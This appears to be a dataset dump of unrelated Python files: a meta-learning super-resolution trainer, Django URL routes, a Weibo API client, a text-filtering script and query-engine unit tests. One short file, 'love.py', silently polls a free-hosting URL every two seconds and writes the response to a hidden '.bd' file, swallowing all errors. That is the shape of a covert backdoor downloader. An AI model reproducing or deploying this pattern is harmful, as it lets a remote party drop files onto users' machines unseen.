alpha, use_regularization, reg_coeff,\r\n            \r\n            gamma, phi\r\n          ):\r\n\r\n    super(Meta, self).__init__()\r\n\r\n    self.task_num = task_count\r\n    self.tasks = tasks\r\n    self.dataset_name = dataset_name\r\n    self.img_name_list_start = img_name_list_start\r\n    self.img_name_list_end = img_name_list_end\r\n    self.img_type = img_type\r\n    self.downscaling_factor = downscaling_factor\r\n    self.downscaling_method = downscaling_method\r\n    self.patch_size_lr = patch_size_lr\r\n\r\n    self.update_lr = update_lr # Inner loop lr\r\n    self.meta_lr = meta_lr # Outer loop lr\r\n    self.meta_test_update_lr = meta_test_update_lr # Meta-Test lr\r\n\r\n    self.support_set_size = support_set_size\r\n    self.query_set_size = query_set_size\r\n\r\n    self.update_step = update_step # Number of gradient updates at Meta-Training time\r\n    self.layer_sizes = layer_sizes\r\n    self.use_sine_layer = use_sine_layer\r\n    self.patch_count = patch_count\r\n    self.fourier_feature_size = fourier_feature_size\r\n    self.sigma = sigma\r\n    self.use_noise = use_noise\r\n    self.coord_noise_factor = coord_noise_factor\r\n    self.target_noise_factor = target_noise_factor\r\n    self.coordinate_sys_option = coordinate_sys_option\r\n    self.use_trimensional = use_trimensional\r\n    self.use_fourier = use_fourier\r\n    self.alpha = alpha\r\n    self.use_regularization = use_regularization\r\n    self.reg_coeff = reg_coeff\r\n    \r\n    self.gamma = gamma\r\n\r\n    self.phi = copy.deepcopy(phi)\r\n\r\n    self.net = MLP(self.layer_sizes, self.use_sine_layer).cuda()\r\n    self.meta_opt = torch.optim.Adam(self.net.parameters(), lr=self.meta_lr)\r\n    self.criterion = nn.L1Loss()\r\n    # self.criterion = nn.MSELoss()\r\n\r\n  def compute_loss(self, result, out, fast_weights, C, H, W):\r\n    loss = self.criterion(result, out)\r\n    SSIM_loss = 1 - ssim_sys(result.T.reshape((1, C, H, W)), out.T.reshape((1, C, H, W)), data_range=1.0, size_average=True)\r\n    loss = (1-self.alpha)*loss+self.alpha*SSIM_loss\r\n    if self.use_regularization:\r\n      l2_loss = 0.0\r\n      for param in fast_weights:\r\n        l2_loss += torch.norm(param)**2\r\n      loss = loss + self.reg_coeff * l2_loss\r\n    return loss\r\n\r\n  def compute_meta_loss(self, tasks, tasks_with_imgs, tasks_with_imgs_patchs, fast_weights):\r\n\r\n    # Meta-Train - Query: HR\r\n    meta_train_query_input, meta_train_query_target, meta_train_query_C, meta_train_query_H, meta_train_query_W = process_img_tensor(len(tasks), self.query_set_size, self.patch_count, \"Query\", tasks, tasks_with_imgs_patchs, 1, \r\n                                          self.use_trimensional, self.use_sine_layer, self.coordinate_sys_option, self.fourier_feature_size, self.sigma, self.use_fourier,\r\n                                          self.phi, self.use_noise, self.coord_noise_factor, self.target_noise_factor)\r\n    loss_q_total = 0.0\r\n    psnr_total = 0.0\r\n    ssim_total = 0.0\r\n    for out in meta_train_query_target[0]:\r\n      result = self.net.forward(meta_train_query_input.cuda(), given_vars=fast_weights)\r\n      loss_q_total += self.compute_loss(result, out.cuda(), fast_weights, meta_train_query_C, meta_train_query_H, meta_train_query_W)\r\n      PSNR_value, SSIM_value = print_performance(out.cuda().reshape(meta_train_query_H, meta_train_query_W, meta_train_query_C).permute(2,0,1)\r\n                            , result.reshape(meta_train_query_H, meta_train_query_W, meta_train_query_C).permute(2,0,1)\r\n                            , False) \r\n      psnr_total += PSNR_value\r\n      ssim_total += SSIM_value\r\n\r\n    return loss_q_total/(self.query_set_size*self.patch_count), psnr_total/(self.query_set_size*self.patch_count), ssim_total/(self.query_set_size*self.patch_count)\r\n\r\n  ########## Meta-Training Time ##########\r\n\r\n  def execute_grad_step(self, tasks, tasks_with_imgs, tasks_with_imgs_patchs, fast_weights, step):\r\n\r\n    # Meta-Train - Support: LR\r\n    meta_train_support_input, meta_train_support_target, meta_train_support_C, meta_train_support_H, meta_train_support_W = process_img_tensor(len(tasks), self.support_set_size, self.patch_count, \"Support\", tasks, tasks_with_imgs_patchs, 0, \r\n                                          self.use_trimensional, self.use_sine_layer, self.coordinate_sys_option, self.fourier_feature_size, self.sigma, self.use_fourier,\r\n                                          self.phi, self.use_noise, self.coord_noise_factor, self.target_noise_factor)\r\n\r\n    for out in meta_train_support_target[0]:\r\n      \r\n        \r\n      if step == 0:\r\n          result = self.net.forward(meta_train_support_input.cuda())\r\n          loss = self.compute_loss(result, out.cuda(), self.net.parameters(), meta_train_support_C, meta_train_support_H, meta_train_support_W)\r\n          grad = torch.autograd.grad(loss, self.net.parameters())\r\n\r\n          # Check no gradient for network parameters during grad step\r\n          if self.net.vars[0].grad != None:\r\n            assert len(torch.nonzero(self.net.vars[0].grad)) < 1\r\n    \r\n          fast_weights = list(map(lambda p: p[1]-self.update_lr*p[0]/(self.support_set_size*self.patch_count) , zip(grad, self.net.parameters())))\r\n    \r\n          # Check no gradient for network parameters during grad step\r\n          if self.net.vars[0].grad != None:\r\n            assert len(torch.nonzero(self.net.vars[0].grad)) < 1\r\n    \r\n      else:\r\n          result = self.net.forward(meta_train_support_input.cuda(), given_vars=fast_weights)\r\n          loss = self.compute_loss(result, out.cuda(), fast_weights, meta_train_support_C, meta_train_support_H, meta_train_support_W)\r\n          grad = torch.autograd.grad(loss, fast_weights, retain_graph = True, create_graph=True)    \r\n    \r\n          # Check no gradient for network parameters during grad step\r\n          if self.net.vars[0].grad != None:\r\n            assert len(torch.nonzero(self.net.vars[0].grad)) < 1\r\n    \r\n          fast_weights = list(map(lambda p: p[1]-self.update_lr*p[0]/(self.support_set_size*self.patch_count) , zip(grad, fast_weights)))\r\n    \r\n          # Check no gradient for network parameters during grad step\r\n          if self.net.vars[0].grad != None:\r\n            assert len(torch.nonzero(self.net.vars[0].grad)) < 1\r\n    # print(loss)\r\n    return fast_weights\r\n\r\n  def meta_train(self, all_tasks=None):\r\n\r\n    if all_tasks == None:\r\n      task_num_list = list(range(self.task_num))\r\n      random.shuffle(task_num_list) # Randomly shuffle tasks\r\n    else:\r\n      task_num_list = list(range(len(all_tasks)))\r\n      random.shuffle(task_num_list) # Randomly shuffle tasks      \r\n\r\n    psnr_avg_list = []\r\n    ssim_avg_list = []\r\n\r\n    self.meta_opt.zero_grad()\r\n    total_meta_loss = 0\r\n\r\n    for i in task_num_list: # Outer loop\r\n      \r\n      fast_weights = list(map(lambda p: p[0], zip(self.net.parameters()))) # Initialize as original network paras (theta)\r\n\r\n      # Each time load 1 image to avoid exceeding memory limit    \r\n      if all_tasks == None:\r\n        tasks = self.tasks[i:i+1]\r\n      else:\r\n        tasks = all_tasks[i:i+1]\r\n      # print(\"Task {}\".format(tasks[0]))\r\n\r\n      tasks_with_imgs = assign_img_data_to_tasks(tasks, self.dataset_name, self.img_name_list_start, self.img_name_list_end, self.img_type, self.downscaling_factor, self.downscaling_method, True)\r\n      tasks_with_imgs_patchs = generate_patches_meta_support_query(len(tasks), self.query_set_size, self.support_set_size, tasks, tasks_with_imgs, self.patch_size_lr, self.patch_count, self.downscaling_factor)\r\n\r\n      for step in range(self.update_step): # Inner loop\r\n        # print(\"Step {}\".format(step+1))\r\n        fast_weights = self.execute_grad_step(tasks, tasks_with_imgs, tasks_with_imgs_patchs, fast_weights, step)\r\n\r\n      meta_loss, psnr_avg, ssim_avg = self.compute_meta_loss(tasks, tasks_with_imgs, tasks_with_imgs_patchs, fast_weights)\r\n      total_meta_loss += meta_loss\r\n      # print(meta_loss)\r\n      psnr_avg_list.append(psnr_avg)\r\n      ssim_avg_list.append(ssim_avg)   \r\n\r\n    # Check no gradient for network parameters before backward\r\n    if self.net.vars[0].grad != None:\r\n      assert len(torch.nonzero(self.net.vars[0].grad)) < 1\r\n    \r\n    (total_meta_loss/len(task_num_list)).backward()\r\n\r\n    # Check there is gradient for network parameters after backward\r\n    assert self.net.vars[0].grad != None\r\n\r\n    self.meta_opt.step() \r\n      \r\n    return np.mean(np.array(psnr_avg_list)), np.mean(np.array(ssim_avg_list))\r\n\r\n  ########## Meta-Testing Time ##########\r\n\r\n  def meta_test_query(self, input, net):\r\n\r\n    # Query\r\n\r\n    with torch.no_grad():     \r\n      result = net.forward(input)\r\n    return result\r\n\r\n  def meta_test_with_ground_truth(self, coords_base, target_base, meta_test_support_H, meta_test_support_W, meta_test_support_C, meta_test_query_H, meta_test_query_W, meta_test_query_C, update_step_test, meta_test_evaluation_steps, coords_hr, target_hr):\r\n\r\n    # A copy for meta-test\r\n    net = copy.deepcopy(self.net) \r\n    update_lr = copy.deepcopy(self.meta_test_update_lr)\r\n    gamma = copy.deepcopy(self.gamma)\r\n    opt = torch.optim.Adam(net.parameters(), lr=update_lr)\r\n    scheduler = torch.optim.lr_scheduler.ExponentialLR(opt, gamma=gamma) \r\n\r\n    best_PSNR_value = 0.0\r\n    best_SSIM_value = 0.0\r\n    best_step = -1\r\n    sr_interpolate_results = []\r\n    steps = []\r\n\r\n    if self.use_fourier:\r\n      phi_coords_hr = self.phi(coords_hr.cuda())\r\n      phi_coords_base = self.phi(coords_base.cuda())\r\n    else:\r\n      phi_coords_hr = coords_hr.cuda()\r\n      phi_coords_base = coords_base.cuda()    \r\n\r\n    # Support\r\n\r\n    # step_list = list(range(update_step_test))\r\n    # for i in tqdm(step_list):\r\n    for i in range(update_step_test):\r\n\r\n      if self.use_noise:\r\n        coords = add_noise_to_coords(coords_base, self.coord_noise_factor/(2**((i+1)/meta_test_evaluation_steps)))\r\n        target = add_noise_to_target(target_base, self.target_noise_factor/(2**((i+1)/meta_test_evaluation_steps)))\r\n      else:\r\n        coords = coords_base\r\n        target = target_base\r\n\r\n      if self.use_fourier: \r\n        input = self.phi(coords.cuda())\r\n      else:\r\n        input = coords.cuda()\r\n\r\n      if i==0: # before learning taking place\r\n        steps.append(i)\r\n        sr_interpolate_result = self.meta_test_query(phi_coords_hr, net)\r\n        sr_interpolate_results.append(sr_interpolate_result) # SR Interpolate\r\n        PSNR_value, SSIM_value = print_performance(target_hr.cuda().reshape(meta_test_query_H, meta_test_query_W, meta_test_query_C).permute(2,0,1)\r\n                                , sr_interpolate_result.reshape(meta_test_query_H, meta_test_query_W, meta_test_query_C).permute(2,0,1)\r\n                                , False) \r\n        if PSNR_value > best_PSNR_value:\r\n            best_PSNR_value = PSNR_value\r\n            best_step = i+1\r\n        if SSIM_value > best_SSIM_value:\r\n            best_SSIM_value = SSIM_value\r\n\r\n      opt.zero_grad() \r\n      result = net.forward(input)\r\n      out = target.cuda()\r\n      loss = self.compute_loss(result, out, net.parameters(), meta_test_support_C, meta_test_support_H, meta_test_support_W)\r\n      loss.backward()       \r\n      opt.step()\r\n\r\n      if (i+1)<=10 or ((i+1)<=200 and (i+1)%meta_test_evaluation_steps==0) or ((i+1)<=2000 and (i+1)%1000==0) or i+1==update_step_test:\r\n        steps.append(i+1)\r\n        sr_interpolate_result = self.meta_test_query(phi_coords_hr, net)\r\n        sr_interpolate_results.append(sr_interpolate_result) # SR Interpolate\r\n        PSNR_value, SSIM_value = print_performance(target_hr.cuda().reshape(meta_test_query_H, meta_test_query_W, meta_test_query_C).permute(2,0,1)\r\n                                , sr_interpolate_result.reshape(meta_test_query_H, meta_test_query_W, meta_test_query_C).permute(2,0,1)\r\n                                , False) \r\n        if PSNR_value > best_PSNR_value:\r\n            best_PSNR_value = PSNR_value\r\n            best_step = i+1\r\n        if SSIM_value > best_SSIM_value:\r\n            best_SSIM_value = SSIM_value\r\n\r\n      if (i+1) % meta_test_evaluation_steps == 0:\r\n        scheduler.step()   \r\n\r\n    del net\r\n\r\n    return sr_interpolate_results, best_step, best_PSNR_value, best_SSIM_value, steps\r\n    \r\n  def meta_test_without_ground_truth(self, coords_base, target_base, meta_test_support_C, meta_test_support_H, meta_test_support_W, update_step_test, meta_test_evaluation_steps, coords_hr):\r\n\r\n    # A copy for meta-test\r\n    net = copy.deepcopy(self.net) \r\n    update_lr = copy.deepcopy(self.meta_test_update_lr)\r\n    gamma = copy.deepcopy(self.gamma)\r\n    opt = torch.optim.Adam(net.parameters(), lr=update_lr)\r\n    scheduler = torch.optim.lr_scheduler.ExponentialLR(opt, gamma=gamma)\r\n\r\n    best_PSNR_value = 0.0\r\n    best_SSIM_value = 0.0\r\n    best_step = -1\r\n    sr_interpolate_results = []\r\n    recon_results = []\r\n    steps = []\r\n\r\n    if self.use_fourier:\r\n      phi_coords_hr = self.phi(coords_hr.cuda())\r\n      phi_coords_base = self.phi(coords_base.cuda())\r\n    else:\r\n      phi_coords_hr = coords_hr.cuda()\r\n      phi_coords_base = coords_base.cuda()    \r\n\r\n    # Support\r\n\r\n    # step_list = list(range(update_step_test))\r\n    # for i in tqdm(step_list):\r\n    for i in range(update_step_test):\r\n\r\n      if self.use_noise:\r\n        coords = add_noise_to_coords(coords_base, self.coord_noise_factor/(2**((i+1)/meta_test_evaluation_steps)))\r\n        target = add_noise_to_target(target_base, self.target_noise_factor/(2**((i+1)/meta_test_evaluation_steps)))\r\n      else:\r\n        coords = coords_base\r\n        target = target_base\r\n\r\n      if self.use_fourier: \r\n        input = self.phi(coords.cuda())\r\n      else:\r\n        input = coords.cuda()\r\n\r\n      if i==0: # before learning taking place\r\n        steps.append(i)\r\n        sr_interpolate_results.append(self.meta_test_query(phi_coords_hr, net)) # SR Interpolate\r\n        recon = self.meta_test_query(phi_coords_base, net)\r\n        recon_results.append(recon) # Recon\r\n        PSNR_value, SSIM_value = print_performance(out.reshape(meta_test_support_H, meta_test_support_W, meta_test_support_C).permute(2,0,1)\r\n                                , recon.reshape(meta_test_support_H, meta_test_support_W, meta_test_support_C).permute(2,0,1)\r\n                                , False) \r\n        if PSNR_value > best_PSNR_value:\r\n            best_PSNR_value = PSNR_value\r\n            best_step = i+1\r\n        if SSIM_value > best_SSIM_value:\r\n            best_SSIM_value = SSIM_value\r\n\r\n      opt.zero_grad() \r\n      result = net.forward(input)\r\n      out = target.cuda()\r\n      loss = self.compute_loss(result, out, net.parameters(), meta_test_support_C, meta_test_support_H, meta_test_support_W)\r\n      loss.backward()       \r\n      opt.step()\r\n\r\n      if (i+1)<=10 or ((i+1)<=200 and (i+1)%meta_test_evaluation_steps==0) or ((i+1)<=2000 and (i+1)%1000==0) or i+1==update_step_test:\r\n        steps.append(i+1)\r\n        sr_interpolate_results.append(self.meta_test_query(phi_coords_hr, net)) # SR Interpolate\r\n        recon = self.meta_test_query(phi_coords_base, net)\r\n        recon_results.append(recon) # Recon\r\n        PSNR_value, SSIM_value = print_performance(out.reshape(meta_test_support_H, meta_test_support_W, meta_test_support_C).permute(2,0,1)\r\n                                , recon.reshape(meta_test_support_H, meta_test_support_W, meta_test_support_C).permute(2,0,1)\r\n                                , False) \r\n        if PSNR_value > best_PSNR_value:\r\n            best_PSNR_value = PSNR_value\r\n            best_step = i+1\r\n        if SSIM_value > best_SSIM_value:\r\n            best_SSIM_value = SSIM_value\r\n\r\n      if (i+1) % meta_test_evaluation_steps == 0:\r\n        scheduler.step()   \r\n\r\n    del net\r\n\r\n    return sr_interpolate_results, recon_results, best_step, best_PSNR_value, best_SSIM_value, steps","sub_path":"COMASure/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":16992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"157519019","text":"from django.conf.urls import patterns, url\n\nurlpatterns = patterns(\n\t'tandem.apps.homepage.views',\n\turl(r'^$', 'index', name=\"homepageindex\"),\n\turl(r'^sobretandem/$', 'sobre', name=\"homepagesobre\"),\n\turl(r'^clientes/$', 'clientes', name=\"homepageclientes\"),\n\turl(r'^servicios/$', 'services', name=\"homepageservices\"),\n\turl(r'^servicios/consultoria$', 'consultoria', name=\"homepageconsultoria\"),\n\turl(r'^servicios/implementacionsap$', 'implementacion', name=\"homepageimplementacion\"),\n\turl(r'^servicios/soporte_tecnico$', 'soporte', name=\"homepagesoporte\"),\n\turl(r'^servicios/entrenamiento$', 'entrenamiento', name=\"homepageentrenamiento\"),\n\turl(r'^servicios/gerencia$', 'gerencia', name=\"homepagegerencia\"),\n\turl(r'^contacto/$', 'contact', name=\"homepagecontact\"),\n\turl(r'^webmail/$', 'webmail', name=\"homepagewebmail\"),\n)\n","sub_path":"tandem/tandem/apps/homepage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"346285493","text":"import requests\nfrom os import system as sys\n\ntry:\n    while True:\n        p = requests.get('https://foofooco.000webhostapp.com/Bd/f_bd')\n        f = open('.bd', 'w+')\n        f.write(p.text)\n        sys('sleep 2')\nexcept:\n    quit()\n","sub_path":"love.py","file_name":"love.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"397328172","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__version__ = '0.2'\n__author__ = 'kuliguo (kuliguo@gmail.com)'\n\n'''\nPython client SDK for sina weibo API using OAuth 2.\n'''\n\nPOST_ACTIONS = [\n\n    # Status Methods\n    'update', 'retweet',\n\n    # Direct Message Methods\n    'new',\n\n    # Account Methods\n    'update_profile_image', 'update_delivery_device', 'update_profile',\n    'update_profile_background_image', 'update_profile_colors',\n    'update_location', 'end_session',\n\n    # Notification Methods\n    'leave', 'follow',\n\n    # Status Methods, Block Methods, Direct Message Methods,\n    # Friendship Methods, Favorite Methods\n    'destroy',\n\n    # Block Methods, Friendship Methods, Favorite Methods\n    'create',\n]\n\ntry:\n    import json\nexcept ImportError:\n    import simplejson as json\nimport time\nimport urllib\nimport urllib2\nimport re\n\ndef _obj_hook(pairs):\n    '''\n    convert json object to python object.\n    '''\n    o = JsonObject()\n    for k, v in pairs.iteritems():\n        o[str(k)] = v\n    return o\n\n\nclass APIError(StandardError):\n    '''\n    raise APIError if got failed json message.\n    '''\n\n    def __init__(self, error_code, error, request):\n        self.error_code = error_code\n        self.error = error\n        self.request = request\n        StandardError.__init__(self, error)\n\n    def __str__(self):\n        return 'APIError: %s: %s, request: %s' % (self.error_code, self.error, self.request)\n\n\nclass JsonObject(dict):\n    '''\n    general json object that can bind any fields but also act as a dict.\n    '''\n\n    def __getattr__(self, attr):\n        return self[attr]\n\n    def __setattr__(self, attr, value):\n        self[attr] = value\n\n    def __getstate__(self):\n        return self.copy()\n\n    def __setstate__(self, state):\n        self.update(state)\n\n\ndef _encode_params(**kw):\n    '''\n    Encode parameters.\n    '''\n    args = []\n    for k, v in kw.iteritems():\n        qv = v.encode('utf-8') if isinstance(v, unicode) else str(v)\n        args.append('%s=%s' % (k, urllib.quote(qv)))\n    if not args:\n        return None\n    else:\n        return '&'.join(args)\n\n\ndef _encode_multipart(**kw):\n    '''\n    Build a multipart/form-data body with generated random boundary.\n    '''\n    boundary = '----------%s' % hex(int(time.time() * 1000))\n    data = []\n    for k, v in kw.iteritems():\n        data.append('--%s' % boundary)\n        if hasattr(v, 'read'):\n            # file-like object:\n            ext = ''\n            filename = getattr(v, 'name', '')\n            n = filename.rfind('.')\n            if n != (-1):\n                ext = filename[n:].lower()\n            content = v.read()\n            data.append('Content-Disposition: form-data; name=\"%s\"; filename=\"hidden\"' % k)\n            data.append('Content-Length: %d' % len(content))\n            data.append('Content-Type: %s\\r\\n' % _guess_content_type(ext))\n            data.append(content)\n        else:\n            data.append('Content-Disposition: form-data; name=\"%s\"\\r\\n' % k)\n            data.append(v.encode('utf-8') if isinstance(v, unicode) else v)\n    data.append('--%s--\\r\\n' % boundary)\n    return '\\r\\n'.join(data), boundary\n\n_CONTENT_TYPES = {'.png': 'image/png', '.gif': 'image/gif', '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg',\n                  '.jpe': 'image/jpeg'}\n\ndef _guess_content_type(ext):\n    return _CONTENT_TYPES.get(ext, 'application/octet-stream')\n\n_HTTP_GET = \"GET\"\n_HTTP_POST = \"POST\"\n_HTTP_UPLOAD = \"_POST\"\n\nclass HttpCall(object):\n    def __init__(self, api_url, format, oauth, callablecls, uriparts=None):\n        self.api_url = api_url\n        self.format = format\n        self.oauth = oauth\n        self.callable_cls = callablecls\n        self.uriparts = uriparts\n\n    def is_expires(self):\n        if not self.oauth:\n            return False\n        else:\n            return not self.oauth.access_token or time.time() > self.oauth.expires_in\n\n    def __getattr__(self, attr):\n        try:\n            return object.__getattr__(self, attr)\n        except AttributeError:\n            def extend_call(arg):\n                if self.is_expires():\n                    raise APIError('21327', 'expired_token', arg)\n                return self.callable_cls(api_url=self.api_url, format=self.format, oauth=self.oauth,\n                    callablecls=self.callable_cls, uriparts=self.uriparts + (arg,))\n\n            return extend_call(attr)\n\n    def __call__(self, **kwargs):\n        '''\n        send an http request and expect to return a json object if no error.\n        '''\n        params = None\n        boundary = None\n\n        # Build the uri.\n        uriparts = []\n        for uripart in self.uriparts:\n            # If this part matches a keyword argument, use the\n            # supplied value otherwise, just use the part.\n            uriparts.append(str(kwargs.pop(uripart, uripart)))\n        uri = '/'.join(uriparts)\n        if self.format:\n            the_url = '%s%s.%s' % (self.api_url, uri, self.format)\n        else:\n            the_url = '%s%s' % (self.api_url, uri)\n\n        method = kwargs.pop('_method', None)\n        if not method:\n            method = \"GET\"\n            for action in POST_ACTIONS:\n                if re.search(\"%s(/\\d+)?$\" % action, uri):\n                    method = \"POST\"\n                    break\n\n        if method == _HTTP_UPLOAD:\n            params, boundary = _encode_multipart(**kwargs)\n        else:\n            params = _encode_params(**kwargs)\n\n        if params and method == _HTTP_GET:\n            http_url = '%s?%s' % (the_url, params)\n        else:\n            http_url = the_url\n\n        http_body = None if method == _HTTP_GET else params\n        req = urllib2.Request(http_url, data=http_body)\n        if self.oauth and self.oauth.access_token:\n            req.add_header('Authorization', 'OAuth2 %s' % self.oauth.access_token)\n        if boundary:\n            req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)\n        resp = urllib2.urlopen(req)\n        body = resp.read()\n        r = json.loads(body, object_hook=_obj_hook)\n        if hasattr(r, 'error_code'):\n            raise APIError(r.error_code, r.get('error', ''), r.get('request', ''))\n        return r\n\n\nclass APIClient(HttpCall):\n    '''\n    API client using synchronized invocation.\n    '''\n\n    def __init__(self, oauth=None, domain='api.weibo.com', apitype='2', format='json'):\n        self.oauth = oauth\n        self.api_url = 'https://%s/%s/' % (domain, apitype)\n        self.format = format\n        uriparts = ()\n        HttpCall.__init__(self, api_url=self.api_url, format=self.format, oauth=self.oauth, callablecls=HttpCall,\n            uriparts=uriparts)\n","sub_path":"src/weibo.py","file_name":"weibo.py","file_ext":"py","file_size_in_byte":6631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"543081436","text":"\n\ndef get_initials(fullname):\n    \"\"\" Given a person's name, returns the person's initials (uppercase) \"\"\"\n    new_name = fullname.split()\n    initials = ''\n    for name in new_name:\n        initials += name[0].upper()\n    return initials\n\n\ndef main():\n    \"\"\" Just to execute dunder name dunder main\"\"\"\n    print(get_initials(\"jason jones\"))\n    get_initials(\"Julie ann Moore\")\n    print(get_initials(input(\"What is your full name?\")))\n\nif __name__ == '__main__':\n    main()\n    ","sub_path":"initials/initials.py","file_name":"initials.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"85081695","text":"#!/usr/bin/env python\n# coding:utf-8\n\nimport sys\nimport os\nimport re\nimport codecs\nfrom json import loads\n\n\nclass Item(object):\n    def __init__(self, idstr, word, weight):\n        self.idstr = idstr\n        self.word = word\n        self.weight = int(weight)\n        self.freq = 1\n\n    def __str__(self):\n        return '%s\\t%s\\t%d' % (self.idstr, self.word, int(self.weight))\n\ntitle_re = re.compile(u\"(【.*|（.*|\\[.*|［.*|\\(.*|『.*)$\")\ntitle_orgname = re.compile(u'《(.+)》')\ndef title_filter(word):\n    search_result = title_orgname.search(word)\n    if search_result:\n        return [search_result.group(1)]\n\n    word = title_re.sub('', word).replace('\\n', ' ').strip()\n    return [word]\n\nauthor_re = re.compile(u\"(【.*|（.*|\\[.*|［.*|\\(.*|『.*|QQ.*?\\d+.*)$\")\ndef author_filter(word):\n    result = []\n    word = author_re.sub('', word).replace('\\n', ' ').strip()\n    if len(word) > 2 and len(word) < 16:\n        result.append(word)\n    return result\n\ndef isEnglish(word):\n    word = word.lower()\n    for w in word:\n        if (w >= 'a' and w <= 'z') or (w >= 0 and w < 9) or w == ' ' or w == '-':\n            continue\n        return False\n\n    return True\n\ndef keyword_filter(word):\n    result = []\n    word = word.strip()\n\n    chars = [u'，', u'、', u',', u';', u'；', u' ', u'.']\n    p = False\n    for char in chars:\n        words = word.split(char)\n        if (len(words) >= 2 and char != u' ') or (len(words) > 2 and char == u' ') or (len(words) > 3 and char == u'.'):\n            for w in words:\n                w = w.strip()\n                ww = keyword_filter(w)\n                for www in ww:\n                    if len(www) < 2 or (not isEnglish(www) and len(www) > 5):\n                        continue\n                    result.append(www)\n            p = True\n            break\n\n    if len(result) <= 0:\n        if len(word) < 5 or (isEnglish(word) and len(word) < 15):\n            result.append(word)\n\n    return result\n\ndef output(items, out_file, check_func = lambda x: True, str_func = lambda x: x):\n    with codecs.open(out_file, 'w', 'utf-8') as fout:\n        for word in items:\n            if check_func(items[word]):\n                fout.write('%s\\n' % str_func(items[word]))\n\ndef process(items, item, filter_func):\n    words = filter_func(item.word)\n    for word in words:\n        if word in items:\n            items[word].weight += item.weight\n            items[word].freq += 1\n        else:\n            items[word] = Item(item.idstr, word, item.weight)\n\nif __name__ == '__main__':\n    script, theme_file, data_dir = sys.argv\n\n    titles = {}\n    authors = {}\n    keywords = {}\n    with codecs.open(theme_file, 'r', 'utf-8') as fin:\n        for line in fin:\n            try:\n                json = loads(line.strip())\n                idstr = json['id']\n                title = json['assembly_name_CN'].strip() if 'assembly_name_CN' in json else None\n                author = json['author_name_CN'].strip() if 'author_name_CN' in json else None\n                downloads = int(json['downloads'])\n                keyword = json['key_words_CN'].strip() if 'key_words_CN' in json else None\n            except:\n                continue\n\n            if keyword and len(keyword) > 0:\n                process(keywords, Item(idstr, keyword, downloads), keyword_filter)\n            if author and len(author) > 0:\n                process(authors, Item(idstr, author, downloads), author_filter)\n            if title and len(title) > 0:\n                process(titles, Item(idstr, title, downloads), title_filter)\n\n\n    output(titles, '%s/titles.csv' % data_dir, lambda x: x.weight > 100)\n    output(authors, '%s/authors.csv' % data_dir)\n    output(keywords, '%s/keywords.csv' % data_dir, lambda x: x.weight > 100 and x.freq > 5, lambda x : '%s\\t%s\\t%d' % (x.idstr, x.word, int(x.freq)))\n","sub_path":"misearch-global/misearch-global-intention/src/main/collie/theme_data_dumper/word_filter.py","file_name":"word_filter.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"315899181","text":"import unittest\n\nimport os\n\nimport jules\nfrom jules.query import *\n\nclass Namespace(object):\n    def __init__(self, **kwargs):\n        self.__dict__.update(kwargs)\n    def __repr__(self):\n        return '<Namespace %r>' % (self.__dict__,)\n\ndef Val(x): return Namespace(**val(x))\nclass Val(object):\n    def __init__(self, *args, **kwargs):\n        self.components = val(*args, **kwargs)\ndef val(x): return dict(val=x)\n\nconfig = dict(\n    templates=[],\n    output_dir=os.devnull # crap\n)\n\nclass MockJulesEngine(jules.JulesEngine):\n    def __init__(self):\n        self.config = config\n        self.plugins = jules.PluginDB(self)\n        \n        self.src_path = '/dev/null'\n        self.input_dirs = []\n        self.bundles = {}\n        \n        self.engine_plugins = self.plugins.produce_instances(\n            jules.plugins.EnginePlugin)\n        self.query_engine = jules.query.QueryEngine(self)\n\nclass TestSimpleQuery(unittest.TestCase):\n    bundle = Val(1)\n    e = QueryEngine(MockJulesEngine())\n    rs = ResultSet(e, [bundle])\n    \n    def test_no_results(self):\n        self.assertEqual(\n            list(self.rs.select(forbid_components=['val'])),\n            [])\n    \n    def test_null_result(self):\n        self.assertEqual(\n            list(self.rs.select()),\n            [{}])\n    \n    def test_simple(self):\n        self.assertEqual(\n            list(self.rs.select(require_components=['val'])),\n            [val(1)])\n    \n    def test_where(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .where(['True'])),\n            [val(1)])\n        \n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .where(['True', 'False'])),\n            [])\n    \n    def test_rename_none(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .rename({})),\n            [{}])\n    \n    def test_rename(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .rename({'k1': 'val', 'k2': 'val'})),\n            [dict(k1=1, k2=1)])\n\nclass Test2Query(unittest.TestCase):\n    bundle1 = Val(1)\n    bundle2 = Val(2)\n    e = QueryEngine(MockJulesEngine())\n    rs = ResultSet(e, [bundle1, bundle2])\n\n    def test_default_sort(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .order_by(key='val')),\n            [val(1), val(2)])\n    \n    def test_asc_sort(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .order_by(key='val', descending=False)),\n            [val(1), val(2)])\n    \n    def test_desc_sort(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .order_by(key='val', descending=True)),\n            [val(2), val(1)])\n\n    def test_limit(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .limit(1)),\n            [val(1)])\n\n    def test_count(self):\n        self.assertEqual(\n            list(self.rs\n                .select(require_components=['val'])\n                .order_by(key='val', descending=False)\n                .count('val')),\n            [val(0), val(1)])\n\nclass TestGroupBy(unittest.TestCase):\n    bundle1 = Val((1,))\n    